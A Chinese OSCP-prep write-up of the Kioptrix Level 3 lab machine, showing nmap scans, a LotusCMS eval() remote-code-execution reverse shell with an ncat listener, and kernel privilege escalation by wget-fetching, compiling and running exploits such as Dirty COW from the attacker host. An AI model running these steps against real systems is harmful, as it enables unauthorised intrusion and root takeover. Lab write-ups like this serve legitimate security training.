oscp备考，oscp系列——Kioptix Level 3靶场

Kioptix Level 3

oscp备考，oscp系列——Kioptix Level 3靶场

nmap扫描

主机发现

└─# nmap -sn 192.168.80.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 00:33 CST
Nmap scan report for 192.168.80.1
Host is up (0.00014s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.80.2
Host is up (0.00014s latency).
MAC Address: 00:50:56:FF:B0:85 (VMware)
Nmap scan report for 192.168.80.151
Host is up (0.000074s latency).
MAC Address: 00:0C:29:83:12:1E (VMware)
Nmap scan report for 192.168.80.254
Host is up (0.000085s latency).
MAC Address: 00:50:56:FD:A3:29 (VMware)
Nmap scan report for 192.168.80.136
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 21.92 seconds

端口扫描

• 端口扫描，可以发现只有两个端口开放，不过为了保险起见，我们将速度放慢一倍再扫描一次，可以发现结果一样
• 一般22端口优先级不高，端口比较少，直接看网站，节约时间不进行下面的扫描了

└─# nmap --min-rate 10000 -p- 192.168.80.151 k3/nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 00:35 CST
Unable to split netmask from target expression: "k3/nmap"
Nmap scan report for 192.168.80.151
Host is up (0.0023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:83:12:1E (VMware)Nmap done: 1 IP address (1 host up) scanned in 4.59 seconds

获取www-data权限

发现LotusCMS历史漏洞

• 查看80端口，发现有一个login，点击一下
  
• 简单尝试了弱口令+sql注入，发现不行
• 可以发现是一个cms，LotusCMS
  
• 使用searchsploit搜索一下

└─# searchsploit LotusCMS            
------------------------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)                                                            | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities                                                                                | php/webapps/16982.txt
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

反弹shell

• 尝试使用18565.rb进行反弹shell，识别了，脚本运行环境不对

└─# ruby 18565.rb 
<internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:86:in `require': cannot load such file -- msf/core (LoadError)from <internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:86:in `require'from 18565.rb:8:in `<main>'

• 因为oscp考试只能使用一次msf，所以我们默认不使用，去网上搜索一下发现有.sh脚本实现的

https://github.com/Hood3dRob1n/LotusCMS-Exploit

• 下载下来，发现不会用，查看项目给的视频，太贴心了
  
  
  发现需要安装ncat
• 安装ncat

apt install ncat

• 反弹shell

ncat -lv 7777./lotusRCE.sh 192.168.80.151 /
输入本地kali的IP，接收shell的IP
输入反弹shell的端口

提权

查看版本

uname -aLinux 2.6.24-24-server

查看发行版本

cat /etc/*-release  DISTRIB_ID=Ubuntu                                                                                       
DISTRIB_RELEASE=8.04                                                                                     
DISTRIB_CODENAME=hardy                                                                                   
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS" 

发现和level2的版本很接近，尝试使用提权

python3 -m http.server 80

cd /tmp
wget http://192.168.80.136/1397.c
gcc 9545.c -o 9545

尝试suid提权，失败

尝试使用，脏牛提权

wget http://192.168.80.136/dirty.cgcc -pthread dirty.c -o dirty -lcrypt./dirty 123456